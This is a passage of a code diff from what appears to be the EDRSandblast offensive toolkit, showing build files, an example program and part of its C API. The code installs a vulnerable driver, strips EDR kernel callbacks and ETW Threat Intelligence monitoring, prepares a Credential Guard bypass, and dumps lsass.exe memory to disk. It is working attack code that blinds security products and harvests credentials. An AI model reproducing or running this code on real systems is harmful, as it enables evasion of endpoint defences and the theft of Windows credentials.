<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="EDRSandblast.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,31 @@
|
||||
#include "../EDRSandblast_StaticLibrary/EDRSandblast_API.h"
|
||||
#include <stdio.h>
|
||||
|
||||
#pragma comment(lib, "Dbghelp.lib")
|
||||
#pragma comment(lib, "Version.lib")
|
||||
#pragma comment(lib, "Winhttp.lib")
|
||||
#pragma comment(lib, "EDRSandblast_Core.lib")
|
||||
#pragma comment(lib, "EDRSandblast_StaticLibrary.lib")
|
||||
#pragma comment(lib, "Pathcch.lib")
|
||||
#pragma comment(lib, "Shlwapi.lib")
|
||||
|
||||
|
||||
int main()
|
||||
{
|
||||
EDRSB_CONTEXT ctx = { 0 };
|
||||
EDRSB_CONFIG cfg = { 0 };
|
||||
cfg.bypassMode.Usermode = TRUE;
|
||||
cfg.bypassMode.Krnlmode = TRUE;
|
||||
cfg.offsetRetrievalMethod.Internet = TRUE;
|
||||
cfg.offsetRetrievalMethod.File = TRUE;
|
||||
|
||||
EDRSB_STATUS status;
|
||||
if (status = EDRSB_Init(&ctx, &cfg) != EDRSB_SUCCESS) {
|
||||
printf("EDRSB_Init: %u", status);
|
||||
}
|
||||
Usermode_RemoveAllMonitoring(&ctx, Find_and_use_existing_trampoline);
|
||||
Krnlmode_RemoveAllMonitoring(&ctx);
|
||||
Action_DumpProcessByName(&ctx, L"lsass.exe", L"C:\\no_scan\\tmp\\tmp.tmp", Find_and_use_existing_trampoline);
|
||||
Krnlmode_RestoreAllMonitoring(&ctx);
|
||||
EDRSB_CleanUp(&ctx);
|
||||
}
|
||||
@@ -0,0 +1,141 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>16.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{04dfb6e4-809e-4c35-88a1-2cc5f1ebfebd}</ProjectGuid>
|
||||
<RootNamespace>EDRSandblastLsassDump</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v142</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>$(OutDir);%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<IgnoreSpecificDefaultLibraries>libcmtd.lib</IgnoreSpecificDefaultLibraries>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<AdditionalLibraryDirectories>$(OutDir);%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
|
||||
<IgnoreSpecificDefaultLibraries>libcmtd.lib</IgnoreSpecificDefaultLibraries>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="EDRSandblast_LsassDump.c" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,22 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="EDRSandblast_LsassDump.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,762 @@
|
||||
#include <Windows.h>
|
||||
#include <PathCch.h>
|
||||
|
||||
#include "../EDRSandblast/EDRSandblast.h"
|
||||
#include "../EDRSandblast/Includes/CredGuard.h"
|
||||
#include "../EDRSandblast/Includes/DriverOps.h"
|
||||
#include "../EDRSandblast/Includes/ETWThreatIntel.h"
|
||||
#include "../EDRSandblast/Includes/FileUtils.h"
|
||||
#include "../EDRSandblast/Includes/Firewalling.h"
|
||||
#include "../EDRSandblast/Includes/KernelCallbacks.h"
|
||||
#include "../EDRSandblast/Includes/KernelMemoryPrimitives.h"
|
||||
#include "../EDRSandblast/Includes/ProcessDump.h"
|
||||
#include "../EDRSandblast/Includes/ProcessDumpDirectSyscalls.h"
|
||||
#include "../EDRSandblast/Includes/NtoskrnlOffsets.h"
|
||||
#include "../EDRSandblast/Includes/ObjectCallbacks.h"
|
||||
#include "../EDRSandblast/Includes/RunAsPPL.h"
|
||||
#include "../EDRSandblast/Includes/Syscalls.h"
|
||||
#include "../EDRSandblast/Includes/UserlandHooks.h"
|
||||
#include "../EDRSandblast/Includes/WdigestOffsets.h"
|
||||
#include "EDRSandblast_API.h"
|
||||
|
||||
// A passer dans le core?
|
||||
EDRSB_STATUS _InstallVulnerableDriver(EDRSB_CONTEXT* ctx) {
|
||||
EDRSB_CONFIG* config = ctx->config;
|
||||
|
||||
WCHAR currentFolderPath[MAX_PATH] = { 0 };
|
||||
GetCurrentDirectoryW(_countof(currentFolderPath), currentFolderPath);
|
||||
|
||||
/*
|
||||
* Setup the driver path
|
||||
*/
|
||||
WCHAR driverPath[MAX_PATH] = { 0 };
|
||||
WCHAR driverDefaultName[] = DEFAULT_DRIVER_FILE;
|
||||
if (config->vulerableDriverPath == NULL) {
|
||||
WCHAR separator[] = L"\\";
|
||||
wcsncat_s(driverPath, _countof(driverPath), currentFolderPath, _countof(currentFolderPath));
|
||||
wcsncat_s(driverPath, _countof(driverPath), separator, _countof(separator));
|
||||
wcsncat_s(driverPath, _countof(driverPath), driverDefaultName, _countof(driverDefaultName));
|
||||
}
|
||||
else {
|
||||
wcscat_s(driverPath, _countof(driverPath), config->vulerableDriverPath);
|
||||
}
|
||||
if (!FileExistsW(driverPath)) {
|
||||
_tprintf_or_not(TEXT("[!] Required driver file not present at %s\n"), driverPath);
|
||||
return EDRSB_DRIVER_NOT_FOUND;
|
||||
}
|
||||
config->vulerableDriverPath = _wcsdup(driverPath);
|
||||
|
||||
/*
|
||||
* Actually installs the driver
|
||||
*/
|
||||
LPTSTR serviceNameIfAny = NULL;
|
||||
BOOL isDriverAlreadyRunning = IsDriverServiceRunning(config->vulerableDriverPath, &serviceNameIfAny);
|
||||
if (isDriverAlreadyRunning) {
|
||||
_putts_or_not(TEXT("[+] Vulnerable driver was already installed"));
|
||||
SetDriverServiceName(serviceNameIfAny);
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT("[+] Installing vulnerable driver..."));
|
||||
BOOL status = InstallVulnerableDriver(config->vulerableDriverPath);
|
||||
if (status != TRUE) {
|
||||
_putts_or_not(TEXT("[!] An error occurred while installing the vulnerable driver"));
|
||||
_putts_or_not(TEXT("[*] Uninstalling the service and attempting the install again..."));
|
||||
Sleep(20000);
|
||||
CloseDriverHandle();
|
||||
status = UninstallVulnerableDriver();
|
||||
Sleep(2000);
|
||||
status = status && InstallVulnerableDriver(config->vulerableDriverPath);
|
||||
Sleep(2000);
|
||||
if (status != TRUE) {
|
||||
_putts_or_not(TEXT("[!] New uninstall / install attempt failed, make sure that there is no trace of the driver left..."));
|
||||
return EDRSB_DRIVER_INSTALL_FAILED;
|
||||
}
|
||||
}
|
||||
Sleep(5000);// TODO : replace by a reliable method to check if the driver is ready
|
||||
}
|
||||
_putts_or_not(TEXT("\n"));
|
||||
return EDRSB_SUCCESS;
|
||||
}
|
||||
|
||||
// A passer dans le core?
|
||||
EDRSB_STATUS _LoadNtosKrnlOffsets(EDRSB_CONTEXT* ctx) {
|
||||
EDRSB_CONFIG* config = ctx->config;
|
||||
|
||||
EDRSB_STATUS status;
|
||||
BOOL offsetsLoaded = FALSE;
|
||||
|
||||
if (ctx->config->offsetRetrievalMethod.Embeded) {
|
||||
/* TODO */
|
||||
}
|
||||
|
||||
if (!offsetsLoaded && ctx->config->offsetRetrievalMethod.File) {
|
||||
WCHAR ntoskrnlOffsetCSVPath[MAX_PATH] = { 0 };
|
||||
|
||||
WCHAR currentFolderPath[MAX_PATH] = { 0 };
|
||||
GetCurrentDirectoryW(_countof(currentFolderPath), currentFolderPath);
|
||||
|
||||
if (config->kernelOffsetFilePath == NULL) {
|
||||
WCHAR offsetCSVName[] = L"\\NtoskrnlOffsets.csv";
|
||||
wcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
|
||||
wcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
|
||||
}
|
||||
else {
|
||||
wcscat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), config->kernelOffsetFilePath);
|
||||
}
|
||||
|
||||
if (!FileExistsW(ntoskrnlOffsetCSVPath)) {
|
||||
_tprintf_or_not(TEXT("[!] Kernel offsets file not present at %s\n"), ntoskrnlOffsetCSVPath);
|
||||
config->kernelOffsetFilePath = NULL;
|
||||
}
|
||||
|
||||
else {
|
||||
_putts_or_not(TEXT("[+] Loading kernel related offsets from the CSV file"));
|
||||
config->kernelOffsetFilePath = _wcsdup(ntoskrnlOffsetCSVPath);
|
||||
LoadNtoskrnlOffsetsFromFile(config->kernelOffsetFilePath);
|
||||
if (!NtoskrnlNotifyRoutinesOffsetsArePresent()) { // (only check notify routines offsets, because ETW Ti might legitimately be absent on "old" Windows versions)
|
||||
_putts_or_not(TEXT("[!] Kernel offsets are missing from the CSV for the version of ntoskrnl in use."));
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT("[+] Kernel offsets were loaded from the CSV file for the version of ntoskrnl in use."));
|
||||
offsetsLoaded = TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!offsetsLoaded && ctx->config->offsetRetrievalMethod.Internet) {
|
||||
_putts_or_not(TEXT("[+] Downloading kernel offsets from the MS Symbol Server (will drop a .pdb file in current directory)"));
|
||||
LoadNtoskrnlOffsetsFromInternet(FALSE);
|
||||
|
||||
if (!NtoskrnlNotifyRoutinesOffsetsArePresent()) {
|
||||
_putts_or_not(TEXT("[-] Downloading kernel offsets from the internet failed!"));
|
||||
}
|
||||
|
||||
else {
|
||||
_putts_or_not(TEXT("[+] Downloading kernel offsets succeeded!"));
|
||||
offsetsLoaded = TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
if (!offsetsLoaded) {
|
||||
_putts_or_not(TEXT("[!] The kernel offsets required couldn't be retrieve using any of the methods specified\n"));
|
||||
status = EDRSB_KERNEL_OFFSETS_NOT_FOUND;
|
||||
}
|
||||
else {
|
||||
status = EDRSB_SUCCESS;
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
// A passer dans le core?
|
||||
EDRSB_STATUS _LoadWdigestOffsets(EDRSB_CONTEXT* ctx) {
|
||||
EDRSB_CONFIG* config = ctx->config;
|
||||
|
||||
EDRSB_STATUS status;
|
||||
BOOL offsetsLoaded = FALSE;
|
||||
|
||||
if (ctx->config->offsetRetrievalMethod.Embeded) {
|
||||
/* TODO */
|
||||
}
|
||||
|
||||
if (!offsetsLoaded && ctx->config->offsetRetrievalMethod.File) {
|
||||
WCHAR wdigestOffsetCSVPath[MAX_PATH] = { 0 };
|
||||
|
||||
WCHAR currentFolderPath[MAX_PATH] = { 0 };
|
||||
GetCurrentDirectoryW(_countof(currentFolderPath), currentFolderPath);
|
||||
|
||||
if (config->wdigestOffsetFilePath == NULL) {
|
||||
WCHAR offsetCSVName[] = L"\\WdigestOffsets.csv";
|
||||
wcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
|
||||
wcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
|
||||
}
|
||||
else {
|
||||
wcscat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), config->wdigestOffsetFilePath);
|
||||
}
|
||||
|
||||
if (!FileExistsW(wdigestOffsetCSVPath)) {
|
||||
_tprintf_or_not(TEXT("[!] Wdigest offsets file not present at %s\n"), wdigestOffsetCSVPath);
|
||||
config->wdigestOffsetFilePath = NULL;
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT("[+] Loading wdigest related offsets from the CSV file"));
|
||||
config->wdigestOffsetFilePath = wdigestOffsetCSVPath;
|
||||
LoadWdigestOffsetsFromFile(config->wdigestOffsetFilePath);
|
||||
if (g_wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || g_wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) {
|
||||
_putts_or_not(TEXT("[!] Offsets are missing from the CSV for the version of wdigest in use."));
|
||||
}
|
||||
else {
|
||||
_putts_or_not(TEXT("[+] Wdigest offsets were loaded from the CSV file for the version of wdigest in use."));
|
||||
offsetsLoaded = TRUE;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if (!offsetsLoaded && ctx->config->offsetRetrievalMethod.Internet) {
|
||||
_putts_or_not(TEXT("[+] Downloading wdigest offsets from the MS Symbol Server (will drop a .pdb file in current directory)"));
|
||||
LoadWdigestOffsetsFromInternet(FALSE);
|
||||
|
||||
if (g_wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || g_wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) {
|
||||
_putts_or_not(TEXT("[-] Downloading wdigest offsets from the internet failed!"));
|
||||
}
|
||||
|
||||
else {
|
||||
_putts_or_not(TEXT("[+] Downloading wdigest offsets succeeded!"));
|
||||
offsetsLoaded = TRUE;
|
||||
}
|
||||
}
|
||||
|
||||
if (!offsetsLoaded) {
|
||||
_putts_or_not(TEXT("[!] The wdigest offsets required couldn't be retrieve using any of the methods specified\n"));
|
||||
status = EDRSB_WDIGEST_OFFSETS_NOT_FOUND;
|
||||
}
|
||||
else {
|
||||
status = EDRSB_SUCCESS;
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config) {
|
||||
EDRSB_STATUS status;
|
||||
BOOL driverInstallRequired = FALSE;
|
||||
BOOL kernelOffsetsLoaded = FALSE;
|
||||
ctx->config = config;
|
||||
|
||||
if (config->actions.ProtectProcess) {
|
||||
config->bypassMode.Krnlmode = 1;
|
||||
}
|
||||
|
||||
// Check that the parameters are valid for BypassMode krnlmode.
|
||||
if (config->bypassMode.Krnlmode) {
|
||||
status = _LoadNtosKrnlOffsets(ctx);
|
||||
if (status != EDRSB_SUCCESS) {
|
||||
_tprintf_or_not(TEXT("[-] Init failed: required offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status);
|
||||
return status;
|
||||
}
|
||||
else {
|
||||
kernelOffsetsLoaded = TRUE;
|
||||
}
|
||||
|
||||
driverInstallRequired = TRUE;
|
||||
}
|
||||
|
||||
// Check that the parameters are valid for BypassMode Usermode.
|
||||
if (config->bypassMode.Usermode) {
|
||||
/* No pre-requiste yet */
|
||||
}
|
||||
|
||||
if (config->actions.ProtectProcess) {
|
||||
if (g_ntoskrnlOffsets.st.eprocess_protection == 0x0) {
|
||||
_putts_or_not(TEXT("[-] Init failed: missing the _PS_PROTECTION offset, cannot set process as Protected"));
|
||||
return EDRSB_KERNEL_OFFSETS_NOT_FOUND;
|
||||
}
|
||||
|
||||
driverInstallRequired = TRUE;
|
||||
}
|
||||
|
||||
if (config->actions.BypassCredguard) {
|
||||
status = _LoadWdigestOffsets(ctx);
|
||||
if (status != EDRSB_SUCCESS) {
|
||||
_tprintf_or_not(TEXT("[-] Init failed: required offsets for CredentialGuard bypass couldn't be loaded (error 0x%lx)!\n"), status);
|
||||
return status;
|
||||
}
|
||||
}
|
||||
|
||||
if (driverInstallRequired) {
|
||||
status = _InstallVulnerableDriver(ctx);
|
||||
if (status != EDRSB_SUCCESS) {
|
||||
_tprintf_or_not(TEXT("[-] Init failed: driver couldn't be installed (error 0x%lx)!\n"), status);
|
||||
return status;
|
||||
}
|
||||
|
||||
ctx->isDriverInstalled = TRUE;
|
||||
}
|
||||
|
||||
return EDRSB_SUCCESS;
|
||||
}
|
||||
|
||||
EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
|
||||
if (ctx && !ctx->config->bypassMode.Krnlmode) {
|
||||
_tprintf_or_not(TEXT("[-] Krnlmode operation failed: missing Krnlmode mode in config"));
|
||||
return EDRSB_MISSING_KRNLMODE;
|
||||
}
|
||||
|
||||
EDRSB_STATUS status;
|
||||
|
||||
struct FOUND_EDR_CALLBACKS* foundEDRDrivers = NULL;
|
||||
BOOL isSafeToExecutePayload = TRUE;
|
||||
BOOL foundNotifyRoutineCallbacks;
|
||||
BOOL foundObjectsCallbacks;
|
||||
BOOL isETWTICurrentlyEnabled;
|
||||
|
||||
BOOL verbose = ctx ? ctx->config->verbose : FALSE;
|
||||
|
||||
if (ctx) {
|
||||
_putts_or_not(TEXT("[+] Checking if any EDR Kernel callbacks are configured..."));
|
||||
}
|
||||
|
||||
foundEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
|
||||
if (!foundEDRDrivers) {
|
||||
_putts_or_not(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks"));
|
||||
return EDRSB_MEMALLOC_FAIL;
|
||||
}
|
||||
|
||||
if (ctx) {
|
||||
_putts_or_not(TEXT("[+] Check if EDR callbacks are registered on process / thread creation & image loading"));
|
||||
}
|
||||
foundNotifyRoutineCallbacks = EnumEDRNotifyRoutineCallbacks(foundEDRDrivers, verbose);
|
||||
if (ctx && foundNotifyRoutineCallbacks) {
|
||||
ctx->foundNotifyRoutineCallbacks = TRUE;
|
||||
}
|
||||
if (ctx) {
|
||||
_tprintf_or_not(TEXT("[+] Object callbacks have %sbeen found"), ctx->foundNotifyRoutineCallbacks ? TEXT("") : TEXT("NOT"));
|
||||
_putts_or_not(TEXT("[+] Check if EDR callbacks are registered on processes and threads handle creation/duplication"));
|
||||
}
|
||||
|
||||
foundObjectsCallbacks = EnumEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers);
|
||||
if (ctx && foundObjectsCallbacks) {
|
||||
ctx->foundObjectCallbacks = TRUE;
|
||||
}
|
||||
if (ctx) {
|
||||
_tprintf_or_not(TEXT("[+] Enabled EDR object callbacks are %s !\n"), ctx->foundObjectCallbacks ? TEXT("present") : TEXT("not found"));
|
||||
}
|
||||
|
||||
if (ctx) {
|
||||
ctx->foundEDRDrivers = foundEDRDrivers;
|
||||
_putts_or_not(TEXT("[+] Check the ETW Threat Intelligence Provider state"));
|
||||
}
|
||||
else {
|
||||
free(foundEDRDrivers);
|
||||
foundEDRDrivers = NULL;
|
||||
}
|
||||
|
||||
isETWTICurrentlyEnabled = isETWThreatIntelProviderEnabled(verbose);
|
||||
if (ctx && isETWTICurrentlyEnabled) {
|
||||
ctx->isETWTICurrentlyEnabled = TRUE;
|
||||
}
|
||||
|
||||
if (ctx) {
|
||||
ctx->isETWTISystemEnabled |= ctx->isETWTICurrentlyEnabled;
|
||||
_tprintf_or_not(TEXT("[+] ETW Threat Intelligence Provider is %s!\n\n"), ctx->isETWTISystemEnabled ? TEXT("ENABLED") : TEXT("DISABLED"));
|
||||
ctx->krnlmodeMonitoringEnumDone = TRUE;
|
||||
}
|
||||
|
||||
if (foundNotifyRoutineCallbacks || foundObjectsCallbacks || isETWTICurrentlyEnabled) {
|
||||
status = EDRSB_KNRL_MONITORING;
|
||||
}
|
||||
else {
|
||||
status = EDRSB_SUCCESS;
|
||||
}
|
||||
|
||||
return status;
|
||||
}
|
||||
|
||||
EDRSB_STATUS Krnlmode_RemoveAllMonitoring(_In_ EDRSB_CONTEXT* ctx) {
|
||||
if (!ctx->config->bypassMode.Krnlmode) {
|
||||
_tprintf_or_not(TEXT("[-] Krnlmode operation failed: missing Krnlmode mode in config"));
|
||||
return EDRSB_MISSING_KRNLMODE;
|
||||
}
|
||||
|
||||
EDRSB_STATUS status;
|
||||
|
||||
if (!ctx->krnlmodeMonitoringEnumDone) {
|
||||
status = Krnlmode_EnumAllMonitoring(ctx);
|
||||
if (status != EDRSB_KNRL_MONITORING) {
|
||||
return status;
|
||||
}
|
||||
}
|
||||
|
||||
if (ctx->foundNotifyRoutineCallbacks) {
|
||||
_putts_or_not(TEXT("[+] Removing kernel callbacks registered by EDR for process creation, thread creation and image loading..."));
|
||||
// TODO Disable <-> Remove.
|
||||
RemoveEDRNotifyRoutineCallbacks(ctx->foundEDRDrivers);
|
||||
}
|
||||
|
||||
if (ctx->foundObjectCallbacks) {
|
||||
_putts_or_not(TEXT("[+] Disabling kernel callbacks registered by EDR for process and thread opening or handle duplication..."));
|
||||
// TODO Disable <-> Remove.
|
||||
DisableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
|
||||
}
|
||||
|
||||
